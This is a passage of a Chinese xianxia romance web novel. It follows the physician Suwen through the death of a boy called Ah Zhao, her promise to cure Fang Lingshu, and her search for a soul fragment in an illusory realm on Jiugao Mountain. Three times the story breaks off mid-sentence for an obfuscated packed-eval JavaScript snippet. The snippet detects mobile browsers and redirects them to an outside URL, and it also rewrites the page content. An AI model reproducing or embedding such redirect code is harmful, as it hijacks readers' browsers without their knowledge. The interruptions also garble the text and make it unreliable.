李重琲茫然:“啊?” 素问语气平淡:“阿昭死了。” 李重琲大惊:“啊?!!” “已经下葬了。”素问继续道。 李重琲深吸一口气,憋了半晌,才缓缓呼出:“那你还要找什么?” “找伞呀。”素问理所当然道,“那是我赠予阿昭的伞,现在落在别人手里,是不是应当找回来?” 李重琲这会儿终于明白了素问的意思,立刻道:“走!凭他是什么皇亲国戚,我今日一定给阿昭讨个公道!” 伞不在什么天潢贵胄手里,素问领着李重琲穿过大半个洛阳城,来到安喜门小小的守卫休憩房前。 这是一排房间,每一间都很小,里面只有两只凳子和一个桌子,以及角落里的洗脸台。素问停留的屋子里,有一个守卫正倒着凉汤,无意间一抬头,忽然发现外面站着的人,连忙迎出来,道:“衙内有何吩咐,差人来便是,怎么亲自来这腌臜地了?快请进请进!” 李重琲看着这个昨日刚见过的守卫,又看向素问,满脸震惊:“在这里?” 今早,明月奴耗费大量灵力作为报酬,托散落野外的魂魄找到了阿昭,只是他们到得晚了,阿昭的元神已经接近消散的边缘,能表达的话语很少,只剩下一个很强的执念——不是报仇,而是将伞送回素问手里,因为他承诺过要去寻素问的。 孩童魂魄弱,没有足够的力量束缚住元神,当他将伞的下落告诉明月奴后,元神立刻散了,他的魂魄也就归于地府之中,明月奴根本没来得及问凶手是谁。 但不难推测,素问得知伞的下落,便决定自己来问。 守卫听到李重琲的话,立刻冲素问点头哈腰:“原来是叶医师,有失远迎!有失远迎!” 素问原本以为守卫夺伞只是贪财,甚至有可能是自己误解了他们,伞只是被捡到而已,但在见到这个守卫的那一刻,她忽然觉得自己想得太简单了。片刻之后,素问开口:“有些时日未见,阁下一切都好?” “都好都好!叶医师能记得小的,实在是我的福气!” 素问道:“进城第一天是你拦我,去九皋山那日也是你拦我,我不想记住也得记,是不是?” 守卫脸色一变,讪讪不语。 “混账东西!”李重琲本想一脚将人踹倒,又念及素问在旁边,勉强克制住了,喝道,“你拿了什么不该拿的东西,还不赶紧交代!” 守卫瞪大眼睛,大声道:“小的惶恐,但实在不知衙内为何这么说,还请给个明示!” 其他房间陆续有人探出头来。 素问皱眉,意识到这样在门口对峙不是办法,便绕过守卫,直接进去。她本以为进去有一顿好找,没想到略微一扫,便在角落里找到了伞。这把伞是明月奴逛集市时一眼看中后买下的,其实伞本身并未使用珍宝装饰,只是做工颇为精致,这才吸引了彼时初入人间的小狐狸。后来明月奴将伞赠予阿昭遮阳挡雨时,伞已经有些破旧,只能用,根本没什么倒卖的价值,如此还能遭人觊觎,实属素问意料之外。 守卫跟着李重琲进屋,看到素问手中的伞,并不惊慌,上前解释道:“叶医师明鉴,这是我自家的伞。” 李重琲冷笑:“多少天没下雨了?你带伞做什么?” 守卫忙道:“一直放在这里备用的。” 素问没有立刻拆穿守卫的谎言,而是朝着木桌一展袖,道:“阁下请坐。” 守卫一愣,眼珠转了转,未想明白素问的动机,谨慎起见,婉拒道:“小的不配。” “好,那你站着。”素问不再劝,自行坐到桌边。 守卫垂着头,正疑惑间,蓦然一道银光袭来,下一刻便感觉到手腕有异物,他抬起左手一看,只见一道丝线缠住了手腕,丝线的那一头,正在素问手中。 素问两只手都搁在桌上,左手缠住线,右手并指,轻轻搭在丝线上。 李重琲眼睛一亮,扑到桌边,盯着素问的手,道:“你会悬丝搭脉!” “很难么?”素问淡淡道,看向守卫,“还请垂手。” 守卫只得放下手,问:“叶医师这是做什么?我没有病。” 素问道:“问几个问题,不必惊慌。” 守卫皱起眉,感觉有些不妙。 李重琲奇道:“莫非……” 素问轻轻摇了摇头,堵住李重琲后面的话,开口问守卫:“阁下大名?” 守卫犹豫。 李重琲道:“叶医师有话问,如实回答便是!” 守卫回道:“小的姓陈,单名敏。” “贵庚?” 陈敏抬头,见素问神色冷淡地看着搭在丝线上的手指,也不知在想什么,只得道:“廿九。” 素问又问了几句籍贯之类的问题,就在李重琲大感不解时,她终于回归了正题:“这是你的伞么?” 陈敏笑道:“方才说过的。” “方才是真话?” “是。” 素问短促一笑:“说谎。” 陈敏忙道:“是真话。” 素问不理他,继续问:“你知道阿昭进洛阳城是为找我?” “自然不知,不然小的一定亲自将人送到叶医师府上!” “说谎。”素问淡淡道。 陈敏看向手腕上的丝线,这会儿终于确认它是作何用处了。 李重琲也确认自己方才猜对了,他死死盯着陈敏,威胁道:“戴着丝线,继续回答!” 陈敏咬牙,勉强道:“小的自然知无不言。” 素问知道陈敏不会说真话,所以接下来的问题依旧只需回答“是”或“否”—— “你是因为阿昭进城的目的,才忽然起了夺伞的念头?” “当然不是!小的这把伞真的是从家中带来,想来是家人不知在何处捡来的!” 素问有些不明白,右手放开,问道:“你我无冤无仇,非要说有关系,那也是你数次得罪我,为何你要迫害来投奔我的孩子?” 陈敏道:“小的愚钝,不知叶医师为何要这么想。” 对于这个回答,素问并不意外,只是心中燃起了愤怒,片刻之后,她重新搭线,问道:“你杀了阿昭?” “小的没有。” 这句倒是实话,素问有些惊讶,不由看了陈敏一眼,问:“阿昭之死与你无关?” “自然无关。” 脉搏显示依旧是实话,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180332|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是陈敏的神情却不是这么回事,素问思索一瞬,便明白过来:“你夺了阿昭的东西,打伤了他,叫他自生自灭,却不觉得是自己杀了人,对不对?” 陈敏没有回答,但是素问已经得到了答案。 屋里陷入了沉寂,好似过了许久,陈敏手腕一松,原来是素问收了丝线。他暗自松了口气,忽然又听素问道:“你若是恨我,大可以来寻我的麻烦,为何要将矛头对上那么小的孩子?欺负没有还手之力的弱者,你难道不会做噩梦么?!” 陈敏看素问情绪激动,抬眼看她,不自觉眼带恶意,话语却愈加恭顺:“小的从不做坏事,平日里睡觉都香得很。” 话音刚落,不等素问说话,李重琲一脚飞踹出去,陈敏猝不及防倒在门上,将门板撞倒,连人带板一道倒在了院子里。李重琲不解气,跟着到了院子里,解下腰间佩剑,连鞘一道向守卫身上打去。此间动静太大,先前在房里躲着的守卫出来了几个,想要来劝架,却被李重琲一道打了进去。 素问追到院中,无意间看到陈敏等人的神情,忽然一阵毛骨悚然,她连忙拉住李重琲的胳膊,喊道:“衙内,快住手!” 李重琲头也不回地继续打,气喘吁吁地回道:“素问别劝!我给你出口气!” “衙内!”素问语气蓦然严厉。 李重琲手一顿,有些茫然地回头,见素问神情肃然,甚是不解:“怎么……” 素问扬声道:“如今死无对证,陈守卫不承认,你再打也没用!此番多谢你仗义相助,但请到此为止,此事毕竟与衙内无关!” 陈敏擦了擦嘴角的血,龇牙笑起来。 李重琲一阵云里雾里,但是看到陈敏的笑,火气登时燃了满腔,他伸手还要打,但素问不知哪里来的大力,竟然直接拉着他的胳膊,带他离开了安喜门。 两人徒步行在街道中,被来来往往的行人一冲撞,李重琲冷静下来,脑子终于理清楚了,他连忙跟上素问的脚步,不用她再费力拉自己,道:“素问,那小兵与你没什么仇怨,定然是因为我常常罚他,他不敢找我报复,如今有重美保护,也不敢对付你,便挑中了阿昭来恶心我们!你实在不该拦我,这厮欺软怕硬,我将他打死了也没事!” 素问猛地停下脚步,转向李重琲,认真道:“若真的打死人,那就是你的不对。” 李重琲忙点头如捣蒜:“好,好,我明白,我记得的嘛!要改邪归正!那我将他打残,赶出洛阳城!” 素问忧心忡忡地看着李重琲,过了片刻,叹了口气,继续往前走,不过脚步缓了下来。 李重琲又凑过去,道:“你今日这样大包大揽,好像一切都是你的错,岂不是叫人家去报复你?下回碰到这种事,还是让我来,他们想找我麻烦可不容易!不过现在也不好回去再说,回头我还是得……嗯,不打人,我得给你安排一些侍卫!” “不必了。”素问有些疲惫。 “怎么不用?他们不敢动我,未必不敢动你!” 素问再次停下脚步,怔然半晌,不禁嗤笑:“李重琲,你打人的时候,不曾注意他们的神情么?” 李重琲理所当然道:“当然不了,哪里有空去关注他们?” “方才那些守卫的眼神若是能化为实质,恐怕你身上早已千疮百孔!” 李重琲“嘁”了一声:“那又如何?我不怕!” 素问无言,沉默了片刻,叹道:“你方才所说,或许是真的,陈敏因你杀阿昭,子不杀伯仁,伯仁却因你而死。你在洛阳这么长时间,恶名早已传遍,想来得罪的人不在少数,今日有陈敏,明日或许就是李敏、张敏,阿昭微不足道,死了就死了,你没有切肤之痛,但是你能确保这些人永远伤不到你身边的人么?天子尚有倒台的时候,你李衙内何德何能,可以永不失势?!若你一朝失势,那些从前被你呼喝欺负过的人随意来踩上一脚,你都会万劫不复!” 李重琲呆住,脸上血色殆尽。 素问甩袖,头也不回地往南行去。 26. 西园恶草(六) 安喜门大街直通北市,越往南走,人越多,衣着简朴的人们忙忙碌碌来去,为一点生计费劲心神。 乱世之中,平民命如草芥。 素问游荡在其中,宛若幽魂,一时竟失了方向,不知该往何处去,正彷徨间,她蓦然越过穿梭的行人,看见蓝衫青年出现在路尽头。 陷入杂乱中的道心稍稍安定。 素问不自觉停下脚步,看着对方往自己走来,眼眶微湿。眼看着人快到跟前,素问闭上眼睛,再睁眼时,方灵枢已到跟前,她也恢复了常态。 方灵枢忧心忡忡地垂头看着素问,直说道:“我听说了阿昭的事。” 素问抬头看他,心道:明明自己还苍白着脸,一副大病初愈的模样,做什么来管她的事? 方灵枢见素问不说话,轻声道:“若是想哭,便哭出来罢,不丢人。” 素问扬眉:“我为何要哭?” “你看上去有些伤心。” 素问一怔,立刻道:“生老病死是凡人必经的宿命,我不伤心。” 方灵枢探究地看了片刻,温和一笑,道:“既如此,我有一事要劳烦你,不知你可得空闲?” 素问点头。 方灵枢脚步一动,与素问并肩而立,带素问一道往前行去,两人很快便进了立行坊,来到半钱医馆的门口。医馆里空无一人,连药童孟冬都不在。素问在屋中央站定,一转头,见方灵枢去了柜台后,疑惑问道:“病者呢?” “关了几天门,刚刚才开了,想必街坊邻居都还不知道。” 素问走到柜台前,见方灵枢拿出脉枕和金针,目光落在方灵枢脸上,问道:“你何时病了?现在怎么样?” 方灵枢递出脉枕,温声道:“这不是要劳烦素问医师为我诊断么?” 素问愣住。 “这边来。”方灵枢从柜台后转出,走了几步,见素问停在原地,疑惑地看着自己,不由一笑,上前牵起她的衣袖,领着往后堂走。 素问呆呆地跟着,在跨过门槛的刹那回过了神,她低头看向方灵枢的手,蓦然福至心灵,问道:“你是为了安慰我,才同意让我为你治病么?” 方灵枢停下脚步,顿了片刻才缓缓回身,温声道:“福祸难料,我想让你身边少一些离开的人。” 素问疑惑。 “我想活。”方灵枢缓声道,“其实从初见你之后便有此希冀,但是又担心只是好梦一场,怕梦醒,怕害了你,所以一直在退缩。”说到此处,方灵枢自嘲地摇了摇头,继续道,“但是每与你相知一分,这份渴求就更深一层。那日初见,你从天而降,仿佛是上天派你来救我,我有时候会想,若果真是老天的旨意,那也只能是你来才成。” 方灵枢出生时即带着病症,这些年勉强活着,虽未存死志,但也没有求生的意志,是素问的到来,改变了这一切。其实过程中不乏有试探和犹豫,直至今日所见,终是让方灵枢坚定了心念——他要活着,健康、长寿地……让素问看见自己年迈的模样。 素问忽然间又感知到自己的心跳,心里的小芽仿佛汲取到了营养,拼命想要茁壮起来,素问不明缘由,但下意识地强行将这个念头按了回去。 方灵枢看素问目光摇摆不定,低声道:“你害怕我的病治不好么?其实……” “我会治好你。”素问恢复冷静,笃定回答。 方灵枢一愣,面对素问认真的面容,不禁笑着点了点头。 素问想到方灵枢方才的一番“告白”,沉默片刻,鼓起勇气问道:“如果那天救你的不是我,而是石水玉呢?” “为何不是你?”方灵枢反问。 素问临时编了个理由:“因为……你是为她出头呀,那天我看到了,如果我不出现,她是要站出来保护你的!” “石小娘子不会医术。” “她救下你后,找我医治便可以了。” 方灵枢笑:“如此,不还是你救我么?” 素问解释道:“不一样,届时便是石小娘子救你,我只是尽一个医者的本分。” 方灵枢问道:“你在救我之前就认得我么?” 素问摇头。 “既不相识,你为何救我?” 素问语塞。 方灵枢温声道:“也是尽医者的本分,对么?” 素问:“……好像是。” “我那时候的伤,换成其他医师,可未必救得回来,既如此,结论还是一样,不管是谁拦住李衙内,最终都是你救我。” 素问愕然,暗道:莫非自己出现的时机没有问题,反倒是司命星君的命本除了差错?怪道他不追究!但是如此一来,方灵枢和石水玉的姻缘又是怎么回事?那道红绳……当真绑在了石水玉的腿上么? 方灵枢见素问脸色数变,沉思片刻,道:“在下冒昧,但……我忍不住与你一再靠近,并不是因为救命之恩,只是因为你是你。” 饶是素问一向淡然,这会儿也有些脸发烫,她直觉继续说下去,恐怕要捅破什么不该捅的窗户纸,与瑶山真君的教导背道而驰,于是连忙避开方灵枢的目光,催促道:“不、不是说看病么?去哪里?” 方灵枢也有些赧然,轻咳一声,带着素问来到后院廊下。 两人相对而坐,方灵枢的手一落在脉枕上,他们的心神便立刻集中起来,也就顾不得害羞了。素问先探方灵枢左手脉,沉吟许久后,又以右手脉象补充,间或开口问及方灵枢儿时至今的情况,以及服用过的药物,等抬手时,心里已经有了初步的定论和诊疗方案。 方灵枢收回手,不发一言。 素问沉思片刻后,回神看去,发现了方灵枢的紧绷,她这才想起对方还在等自己的结论,忙道:“你放心,我的药带够了,五年之内,一定让你痊愈!” 方灵枢有些不确定:“痊愈?” “当然了,一定让你恢复得与常人无异,甚至更加强健!”素问说罢,拍拍胸脯,“药圣谷不打诳语!” 方灵枢又惊又喜,以至于有些手足无措,正不知说什么好,又听素问道:“我方才看你脸色好差,再加上好几日没有消息,还以为你有急病,但是这会儿看脉象又不是那么回事?你是近日做了什么重活么?怎么透支得如此厉害?” “我在习武。”方灵枢道。 “习武?!”素问按住胸口,庆幸自己不曾喝水,否则该一口喷出来了。 方灵枢不以为忤,笑道:“是不是觉得我年纪太大了?” “唔……倒也不是。”素问歉然一笑,道,“就是觉得有些奇怪,你若是说去读书,我就不奇怪了——话说回来,你为何忽然要学武呢?强身健体?还是为求自保?” “都有, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194296|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若能延年益寿就更好了。毕竟你是修道之人,寿数肯定比普通人要长,我要努力获活得长些才好。”话毕,方灵枢立刻意识到自己有些唐突,连忙解释道,“我的意思是,不管是作为好友还是……哪怕是邻居,如果能陪你时间长一些,你最后独处的时间就少一点,便不会感到物是人非了。” 素问笑意变淡,顿了许久,才低声道:“其实人来人往是常态,你不必有压力,就像阿昭的离世……”说到这里,素问眉头不自觉皱起,她自己却浑然不觉,硬着嗓子道,“我不会为此而难过,至多回到以前独来独往的状态,很快就会重新习惯的。” 甚至,也许等她治好方灵枢,就会回仙界去。 方灵枢不自觉伸手抚上素问的鬓边,素问一愣,他自己也有些失神。 片刻之后,素问笑道:“你在同情我?” “聪慧无双叶医师不需要这些。”方灵枢轻拍一下,收回了手,道,“对于我的痼疾,可有能帮的上忙的地方?” 素问摇头:“我治病的法子与你不是一个路数,反正交给我办就是了。” “好。”方灵枢欣然接受,又问,“那我下次问诊是在什么时候?” 素问听出弦外之音,问道:“你有事离开?” “是,我想接受雍王的召请,如此,可能这两日便要出城去帮忙。” 素问立刻想到先前遇见李重美时,对方说过的话,便将这段经历也告诉了方灵枢,临了补充道:“要定下具体的治疗方法,还需花费一些时日,而且我过两日也打算出城去救治灾民,不如等这场疫病过去,我再安心为你炼药,怎么样?” 方灵枢笑道:“我的病不急在这一时,日后有的是时间。” 话虽如此,素问还是记得自己来洛阳的目的,绝不能本末倒置,因此还是问清了方灵枢的去向,打算届时得空便去寻他。 有了方灵枢这一番打岔,素问离开立行坊时,心情已经好了很多,虽则阿昭之死如鱼刺一般扎在心里,但不可以去碰,好像也就没关系了。 回到惠训坊时,明月奴正在门口焦躁地转圈,甫一看见素问的身影出现在桥上,明月奴立刻小跑着迎了上去,道:“方医师来过,我将阿昭的事简单说了,他去北边找你去了,可遇见了?他脸色看着不好,不会是发病了罢?我们的任务……” “他没事。”素问打断明月奴的推断,温声道,“我见过他了,也诊了脉,旧疾涉及五脏六腑,但并没有加重的迹象,脸色不好想来是近几日太过劳累的原因。” “太过劳累?半钱医馆不是好几日没开门了么……”明月奴嘀咕着,忽然意识到了什么,惊道,“诊、诊脉了?!” 素问笑着点了点头。 明月奴脸色有些复杂,忧虑的情绪竟然比喜悦要更多些,他默然跟在素问身后,回到家门口时,才道:“也好,不管他为何改变主意,总归早些治好他,我们就能早些回去。” 素问脚步一顿。 明月奴只作不见,正要再接再厉,那厢元度卿靠坐在台阶上,听到动静后,侧回过头看来,摇着扇子笑道:“素问回来啦?快、快,来我这里乘凉!” 素问无需纳凉,但是这会儿确实需要一个去处躲避一二,而且元度卿的“恶草”之论一直在她的脑海里挥之不去,她做不到视而不见,便决定去一探虚实。 27. 西园恶草(七) 元度卿笑眯眯地看着素问走来,拍了拍身边的台阶,示意她坐,自己依旧胳膊肘落地,用胳膊杵起上半身,一副半躺不躺的懒散模样。 素问沉默地坐下,正酝酿说辞,忽然眼前一花,一个葫芦递到了面前,酒香从葫芦嘴的缝隙徐徐飘来。素问抬眼看向葫芦的主人,道:“我不喝酒。” 元度卿摸着胡子,摇头晃脑道:“何以解忧?唯有杜康!” 素问一阵无言,默默将酒葫芦挡开。 “啧,好好一个貌美小娘子,眼瘸啊!”元度卿收起葫芦,嘀咕道,“过了这村,可就没这店了。” “我不喝酒。”素问面无表情地重复。 元度卿自己拔了葫芦嘴,惬意地抿了一口,正陶醉时,余光瞥到素问若有所思地看着自己,一把将葫芦嘴按了回去,笑问:“后悔了?” 素问算是看明白了,与元度卿说话不必拐弯抹角,毕竟直说他都不一定要听,便问道:“你如何知晓阿昭的遭遇?” “阿昭?”元度卿翻着眼睛回忆片刻,眼看素问的眉头要拧起,他“啊”地一声,总算想了起来,“你说那个啊!小奴儿和方医师说那孩子死了,我自然就知道了啊。” 素问提醒:“西园,恶草。” 元度卿歪着头看天,想了片刻,问:“你以为我早已知道内情?” 素问抿唇,盯着元度卿,算是默认。 “嗐!”元度卿往下一溜,索性头枕台阶躺着,叹道,“小素问啊小素问,你来洛阳不是一日两日了,怎么这也看不明白?” 素问不由皱眉:“什么?” 元度卿转头看她,道:“我且问你,当日进城时,守卫可要了什么凭证?” 素问道:“过所。” “阿昭有么?”元度卿说罢,不等素问回答,又问,“即便有,流民能进洛阳城么?” 素问瞪大眼睛,这才发现自己疏漏了什么。 元度卿了然,有些不忍,但还是说道:“你们是在城外找到阿昭了罢?” 素问嘴唇微抖,答道:“是……” 元度卿继续问:“小奴儿说你找李衙内去寻守卫问话,是不是什么都没问到?” 素问闭了闭眼,点头承认。 “守卫没说错,他没杀人,甚至都没有打人,他只需要夺走阿昭的财物——估计也没什么财物,然后将阿昭扔到城外,如今灾民这么多,连草根都没得吃,那么小的孩子能撑得过几日?” 阿昭那么瘦小,被驱离城门后,无粮无水,却又不能离开,因为他的伞被拿走了,他要想法设法拿回来,哪怕早已没了力气,哪怕走不动路,甚至是说不出话,但还是想去找曾经试图向他伸出援手的姐姐—— 他最终死在了高大的城墙脚下,蜷缩着身体,杂乱的头发盖在脸上,宛若小猫儿一样,带着遗憾离开了。 素问无法想象阿昭是怎样捱过最后那几日,哪怕这个画面稍稍出现在脑海里,都叫她一阵惊悸,不自觉捏紧了衣角,死死闭上眼睛。 守卫是罪魁祸首之一,素问自认亦不能免责。 元度卿见状,叹道:“人死不能复生,你们没有缘分,没法子的事,别伤心。” 过了半晌,素问猛地站前,冷冷道:“我不伤心!” 元度卿立刻接道:“不伤心好啊!心只有一颗,须得好好护住,若是伤到了,碎裂了,可就活不成咯!” 素问垂头看了他一眼,虽然心里觉得古怪,但因为阿昭的事占据了更多的心神,才被方灵枢安抚下的心又乱了起来,她也顾不上再去追究元度卿的用意,抬步快速回了医庐后院的房间里,不等明月奴和元元问,她直接闭门入了定。 来到人间之后,素问已经很少让自己进入忘我的境界,今日算是头一遭,她努力忘却现实中的一切,但是天不遂人愿,她刚刚沉入一片空域,就被人拎了出来。 司命星君不知何时过来了,他深深看了素问一眼,仿佛确认了什么,然后开口道:“魂魄碎片有下落了,现在过去罢。” 素问反应了一瞬,才想起自己身上的诸多任务,她强打起精神,应道:“在哪里?我即刻出发。” “九皋山。” 素问眉头一动,立刻问道:“老君洞?” 司命星君奇道:“你如何知晓?” 素问想起当初与方灵枢共探老君洞时遇见的异状,心里有了底,同时又确认了一件事——看来神界真的没有监视她的一举一动,最起码司命星君没有,否则早就该发现了。 司命星君看素问一副左右为难的模样,了然一笑,但很快便掩饰过去,问道:“你怎么了?好像心神不大稳,遇见什么事了?” 素问垂头,如实道:“我害死了一个孩子。” 司命星君笑着摇了摇头:“什么罪责都往自己身上揽可不是什么好事,在这乱世,你非得自责死不成!按理说,你来洛阳城之前,沿途也看过不少死人了,怎么这个孩子的死会有这么大影响?” “我也不明白。”素问迷茫地踱了两步,猜测道,“或许是因为他是为了寻我而死,而我……疏漏了,给他指了一条错路。” “不来找你,阿昭一样活不长,他这样的孩子注定是这个结局,即便成功找到你了,他也不过是极少数的幸免者而已。”司命星君负手走近,温声道,“这就是你从书灵直接成仙的坏处了,不经历七情六欲之苦,哪怕到了金仙的境界,也是不堪一击——你没有害死那个孩子,只是没来得及救他,从今往后,你救不了的人会越来越多!即便没有离乱之苦,凡人也会有寿终正寝那一日,你要要早点明白这一点,就把他们当做一场历练。” 素问点头,不知是在回应司命星君,还是在安慰自己:“我明白,一直都明白,以后会好的。” 司命星君垂眸,沉默片刻,忽然急切道:“好了,既然明白,又知道老君洞所在,怎么还不出发?还有何事么?” “啊?哦!没、没事。”素问鲜少见司命星君如此着急,也顾不得道别,立刻从冥想中醒过来,不想一睁眼,发现外面竟然已经天黑了。 若是没有司命星君来找,素问不知自己能入定到何时。她心里这么一想,便立刻起身打开门,门口守着的两个人同时回过头来。 爰爰抱膝蹲在门左边,明月奴抱臂靠在门右边,两人一见到素问,齐齐跳了起来,并排站在了素问面前,异口同声道:“阿姐!” 素问一怔,喃喃道:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203186|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们……一直守在这里?” “阿姐先前脸色不好,我们不放心。”爰爰笑道,“不过阿姐不必担心,我们俩都是妖,守着你是应该的!” 明月奴还没开口,话便被爰爰抢着说完了,只能闷声补充:“我不累。” 爰爰立刻道:“我也不累!” 素问失笑,问爰爰:“你逃命的本事学得怎么样?这会儿出去,能带我避开巡逻的人么?” 明月奴明白了素问的意思,立刻道:“她不行,她对坊间不够熟悉,若是到半空中,说不定会把人家瓦都踩碎了!此事还得靠我!” 爰爰撅起嘴,想要反驳,但是自省一番,发现明月奴说的大部分都是实话,只能道:“这回还是让他来罢……不过我得声明!我在屋顶跑的时候虽然会出动静,但绝对不会踩碎瓦!” 素问安抚地摸了摸爰爰的脑袋,道:“那你努力修炼,我和明月奴先出去了,若是天亮后还未回来,你照常开门,有人找我们的话,就说我们很快回来。” 爰爰点头:“阿姐放心,我知道该怎么做。” 明月奴半蹲下,道:“阿姐,出发罢。” 素问伏到明月奴背上,道:“九皋山。” 明月奴一怔,这才明白为何方才素问不选自己,便道:“要么让兔子跟着,我送你们去山下。” “不必,我也有少许修为在身,能应付。”素问催道,“要快些。” 明月奴不再迟疑,单脚一蹬便上了屋顶,化作残影消失在月空之下,偶然有巡逻的人抬头,没等看清,人就过去了。 一炷香后,他们便到了九皋山下。 素问跳下来,不等明月奴发问,解释道:“和来洛阳时一样,是星君额外交代的任务,那次我也是一个人去了,这次同样没有危险,你不必担心。” 明月奴稍稍松了口气,道:“那我就在这里等阿姐。” 素问点头,转身朝山中行去。 九皋山草深林密,银白月光被挡得严严实实,素问脚不沾地,借树枝草木之力支撑,轻盈地在林中穿梭,速度比起明月奴和爰爰要差了不少,但好歹一路畅通无阻,很快便顺利地来到了那处断崖。 蒙木依旧斜斜扎根在崖边,黄花已然凋谢,结起了淡蓝色的小果。素问瞥了一眼,心道眼下还有要事,回去的时候倒是可以顺带摘上一些。她将捆仙索一头扔出,缠在蒙木树干上,自己往下一荡,直接落在了老君洞门口。 素问往里面稍稍一看,感觉老君洞与数月前并无不同,便将捆仙索这一头缠在岩石上,尔后拿出玉葫芦,直奔炼丹室而去,不过片刻,便来到了石中火旁边。 玉葫芦轻轻一颤。 素问握紧葫芦,来到书架后,随着她的靠近,葫芦颤动的频率越发高,素问停在墙壁前,陷入沉思:当日与方灵枢来这里,她怎么没发现玉葫芦的异样?否则那会儿就该找到这一片魂魄了。 思考一瞬后,她便给自己找到了借口:一定是因为须弥戒隔绝了两者之间的联系,绝不是自己因方灵枢乱了心神。 说服了自己后,素问伸出右手,当手掌如同入水一般穿墙而过,素问并没有太多惊讶,略做判断后,便直接将整个身子埋了进去。 28. 西园恶草(八) 山壁后自成洞天,或者说,是另一方天地—— 山水仿若水墨画一般在眼前展开,青山葱翠,绿水无波,渔舟唱晚,柳醉春烟。 一派平静安宁,根本不是素问所处的年代,但路人的穿着又与当下区别不大,只是女子妆容有些区别,比较起来,此地女子妆容更为艳丽,花钿占了满额头的女子并不少见,尽彰自信。 “难道是传说中的盛世大唐?”素问嘀咕着,沿着江岸走了几步,行人来来往往,直接从她身体里穿了过去,素问也不在意,顺着玉葫芦的指引,径直往前去,没过一会儿,便在一个河埠头寻到了人。 女子身着大红交窬裙,肩上披着黄帔子,坐在河边,垂头不知在做什么。 素问沿着台阶往下,走近了,发现她是在写书,书已经写到最后一页,书生与妖精在第三世相见不相识。 女子看着自己的故事也觉得感伤,摇头叹息一番,在最后题下“妤再,神龙元年孟夏”几个字。 原来灵魂碎片的主人,名作妤再。神龙元年则是武周复唐那一年,女皇已然退位,但留下的影响仍在,女子如此自信张扬也就情有可原了。 许是察觉到有人靠近,妤再转过头来,露出一张十分俏丽的脸庞,她的脸上除了花钿,还扑了厚厚的胭脂,第一回见,便将自己的形貌深深刻入他人眼中。 一个身穿翻领袍,脚蹬乌皮靴的女子穿过素问,来到妤再身边,道:“主人,先前拦路的那个女鬼又来了,非要献书不可。” 妤再一笑,道:“她想超脱而去,你便帮一帮,何必问我?” “可是会影响到主人的阳寿,我不愿意。” “若不愿意,便赶她走,唉……泷蒂,你也不小了,有些事该自己做决断。” 泷蒂弯着腰,一时不知该怎么办。 妤再不再多说,冲她摆了摆手,道:“我有客人要见,你先回去。” 泷蒂只得离开。 妤再这才向素问看来,问:“你怎么不过来?” 素问连忙看向身后,发现周围已经没有人了,不由惊道:“你看得见我?” “这么大一个书灵站在那里,我怎么会瞧不见?” 素问挪到河埠头上,迟疑道:“我以为这是幻境。” “也算是罢。”妤再遥遥看着江面,露出微笑,“许多年了,没想到还会见到幻境以外的人。” 素问极目看去,竟然看不出这幻境的边界在哪,甚至她觉得若是自己坐船而去,会永远触不到终点。然而这么大的幻境,竟容纳在小小的山壁之后,佛家所说芥子须弥,在这里具象化了。 妤再合上书册,托腮观察素问的神情。 素问很快察觉,看向妤再,问道:“上神有话要问?” 妤再道:“我只是个凡人。” “凡人魂魄碎裂之后,很快就消散了,而且也不会有灵力支撑这个幻境。” 妤再笑问:“那你看我有灵力么?” 素问沉默。 妤再也不为难,解释道:“这是故友所赠宝物,也没有来历名号,我便依照她的名字,唤此宝为‘时兮盏’。” “时兮盏……”素问觉得有些耳熟,念了几遍,蓦然一惊,“时兮不是……” “神女时兮。”妤再淡淡道,“几百年前堕天后,便销声匿迹。” 素问道:“你也是堕天诸神之一么?” 妤再摇头:“托你来寻我的人是。” 素问道:“你知道谁要找你?” 妤再抬了抬下巴,道:“这木簪子一看就是旒玉的手笔,傻书灵竟然乖乖戴着。” “这是星君让我自保的法宝,至于你说的旒玉……是司命星君的本名么?”素问不解,“他不是在神界好好的么?怎么会是堕天诸神之一?” “司命?”妤再没有回答素问的疑问,自顾感慨,“他还是回了南斗天府宫,呵……” 素问明白过来,所谓妤再、时兮,乃至于司命,都是这块残碎魂魄的过往,因此不在追问,只道:“这是何处?似乎不是洛阳。” “东睦洲,武盛县。”妤再看向江面,微微一笑,“富春江,江南是个好地方,你可以来看看。” 素问道:“如今世道大变,希望富春江边还有好风景。” 妤再抚着书脊,默然不语。 素问方才就有些好奇,便问道:“你在编故事么?” 妤再摇头:“记载众生一隅而已,我不会编故事。” 素问偏头看向书面,问道:“那这书可传世了?” “早已毁损。” 